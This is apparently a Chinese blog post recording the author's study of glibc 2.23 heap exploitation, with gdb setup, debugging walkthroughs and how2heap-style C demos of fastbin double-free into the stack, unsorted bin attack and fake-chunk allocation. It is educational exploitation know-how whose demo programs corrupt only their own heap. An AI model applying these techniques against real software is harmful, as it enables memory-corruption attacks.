ptmalloc2的管理方式,chunk结构和bins的模型,在Overview of GLIBC heap exploitation techniques和ctfwiki已经讲解的非常清楚,本文记录自己的学习堆利用的过程。这个系列预计更新完glibc-2.23,2.27,2.31,2.35和相关例题。建议看完glibc源码分析后再来看,当然直接看也无所谓。
pwncli
PwnGdb
gdb配置参考
wsl-kali。配置参考我的另一篇文章。
docker desktop镜像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
编译时可以加-g来方便调试。
ida pro 7.7 + gdb调试。
源码
使用ubuntu:16.04进行编译
使用pwncli改写rpath
在malloc三次后, 0x400743处下断点
查看堆信息,三个fastbin的堆块,f1,f2,f3。
在free(f1),free(f2),free(f1)后,在0x40083B下断点。
查看fastbinY信息。
0x20大小的fastbins链上形成了double free。
再次malloc两次后,设断点在0x40089F
再次查看bins,因为申请两次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020没有改变,0x603020指向0x60300也没变,并且fastbins中的chunk标记为prev_inuse一直为1,所以fastbins中依然保留这个ABA结构。
接下来,查看汇编代码,StackVar值改为0x20,为了放入0x20大小的fastbins,接下来把f1指向了StackVar以上0x8处,也就是prev_size的位置。将StackVar放入了0x20的fastbins中。在0x40092C处下断点。
查看堆信息。
这时候在申请两次便可申请到栈上。
在0x40095c下断点。
可以看到,已经申请到了栈上的值。
源码
首先申请了两个堆块,第一个堆块不属于fastbin大小,先进入unsortedbin中,第二个堆块为了防止第一块堆块与topchunk合并。在free第一个堆块前设置断点。
查看bins和heap信息
free第一个chunk以后,bins和heap信息,unsortedbin里的第一个chunk的fd和bk指向main_arena+0x58的位置。
接下来利用uaf将unsortedbin中的第一个chunk的bk指针(rax存储的指针指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。
在0x4007D9处下断点,查看heap和bins信息。可以看到,0x602000处的chunk的bk指针被改为了一个栈值,fd指向main_arena+0x58的位置。
再次将unsortedbin中第一个chunk给malloc出来以后,unsortedbin中仅剩StackVar-0x10。
在0x400828下断点。查看heap和bins信息。
可以看到,StackVar的fd指针即用户区域起始处已被修改为main_arena+0x58的值。
源码
首先申请两个堆块
第一次申请的0x100大小的堆块给了[rbp+ptr]。第二个0x100是阻断topchunk。
接下来free(ptr),把ptr放入unsorted bin中。
在0x4007A7其fd,bk指向main_arena+x58的位置。
这里把var_28位置写为0x110。IDA里这个var_28中的0x28是16进制的偏移。
这里把rax指向ptr-8的位置,特就是size处。然后将其改为0x20。unsorted bin有FIFO特性,下次申请0x100大小不会找到它。然后将ptr+8的位置指向var_30,也就是把ptr的bk指针指向var_0x28+0x8的位置(bk指向后进入unsorted bin的chunk),var_0x28=0x110,也就是伪造的chunk大小,var_30也就是prev_size的位置。
在0x40081C下断点,可见ptr的bk指向栈。
查看0x602410内存可见ptr的size位置被改为了0x20
接下来申请0x100大小的chunk将会去unsorted bin寻找0x110大小的chunk,ptr已被改为0x20大小,所以跳过ptr申请到了栈上伪造的var_30处chunk。
在0x40082B处下断点,可见malloc后,unsorted被整理,0x20大小的ptr放进了small bin。fd和bk都指向main_arena+104处。
申请成功。
源码
初始化堆。
在0x400703处下断点查看堆结构。
栈中数组结构。fake_chunks_size = 0x40
,fake_chunks_next_size = 0x1234
。
将 a
指向fake_chunks_fd
,然后 free(a)
。
成功将栈地址放入 fastbins
中。
那麽此时申请0x30大小的空间会在fastbins中寻找0x40大小的chunk,便可成功申请到栈上。
source ~
/
pwndbg
/
gdbinit.py
source ~
/
peda
/
peda.py
source ~
/
Pwngdb
/
pwngdb.py
source ~
/
Pwngdb
/
angelheap
/
gdbinit.py
define hook
-
run
python
import
angelheap
angelheap.init_angelheap()
end
end
source ~
/
pwndbg
/
gdbinit.py
source ~
/
peda
/
peda.py
source ~
/
Pwngdb
/
pwngdb.py
source ~
/
Pwngdb
/
angelheap
/
gdbinit.py
define hook
-
run
python
import
angelheap
angelheap.init_angelheap()
end
end
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"
);
unsigned
long
long
stack_var;
fprintf
(stderr,
"The address we want malloc() to return is %p.\n"
, 8+(
char
*)&stack_var);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n"
, a, b, a, a);
unsigned
long
long
*d =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, d);
fprintf
(stderr,
"2nd malloc(8): %p\n"
,
malloc
(8));
fprintf
(stderr,
"Now the free list has [ %p ].\n"
, a);
fprintf
(stderr,
"Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n"
, a);
stack_var = 0x20;
fprintf
(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (unsigned
long
long
) (((
char
*)&stack_var) -
sizeof
(d));
fprintf
(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
,
malloc
(8));
fprintf
(stderr,
"4th malloc(8): %p\n"
,
malloc
(8));
}
#include <stdio.h>
#include <stdlib.h>
int
main()
{
fprintf
(stderr,
"This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n"
);
unsigned
long
long
stack_var;
fprintf
(stderr,
"The address we want malloc() to return is %p.\n"
, 8+(
char
*)&stack_var);
fprintf
(stderr,
"Allocating 3 buffers.\n"
);
int
*a =
malloc
(8);
int
*b =
malloc
(8);
int
*c =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, a);
fprintf
(stderr,
"2nd malloc(8): %p\n"
, b);
fprintf
(stderr,
"3rd malloc(8): %p\n"
, c);
fprintf
(stderr,
"Freeing the first one...\n"
);
free
(a);
fprintf
(stderr,
"If we free %p again, things will crash because %p is at the top of the free list.\n"
, a, a);
fprintf
(stderr,
"So, instead, we'll free %p.\n"
, b);
free
(b);
fprintf
(stderr,
"Now, we can free %p again, since it's not the head of the free list.\n"
, a);
free
(a);
fprintf
(stderr,
"Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n"
, a, b, a, a);
unsigned
long
long
*d =
malloc
(8);
fprintf
(stderr,
"1st malloc(8): %p\n"
, d);
fprintf
(stderr,
"2nd malloc(8): %p\n"
,
malloc
(8));
fprintf
(stderr,
"Now the free list has [ %p ].\n"
, a);
fprintf
(stderr,
"Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n"
, a);
stack_var = 0x20;
fprintf
(stderr,
"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n"
, a);
*d = (unsigned
long
long
) (((
char
*)&stack_var) -
sizeof
(d));
fprintf
(stderr,
"3rd malloc(8): %p, putting the stack address on the free list\n"
,
malloc
(8));
fprintf
(stderr,
"4th malloc(8): %p\n"
,
malloc
(8));
}
#include <stdio.h>
#include <stdlib.h>
int
main(){
fprintf
(stderr,
"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n"
);
fprintf
(stderr,
"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n"
);
unsigned
long
stack_var=0;
fprintf
(stderr,
"Let's first look at the target we want to rewrite on stack:\n"
);
fprintf
(stderr,
"%p: %ld\n\n"
, &stack_var, stack_var);
unsigned
long
*p=
malloc
(400);
fprintf
(stderr,
"Now, we allocate first normal chunk on the heap at: %p\n"
,p);
fprintf
(stderr,
"And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n"
);
malloc
(500);
free
(p);
fprintf
(stderr,
"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n"
,(
void
*)p[1]);
p[1]=(unsigned
long
)(&stack_var-2);
fprintf
(stderr,
"Now emulating a vulnerability that can overwrite the victim->bk pointer\n"
);
fprintf
(stderr,
"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n"
,(
void
*)p[1]);
malloc
(400);
fprintf
(stderr,
"Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n"
);
fprintf
(stderr,
"%p: %p\n"
, &stack_var, (
void
*)stack_var);
}
#include <stdio.h>
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2023-10-10 19:32
被jelasin编辑
,原因: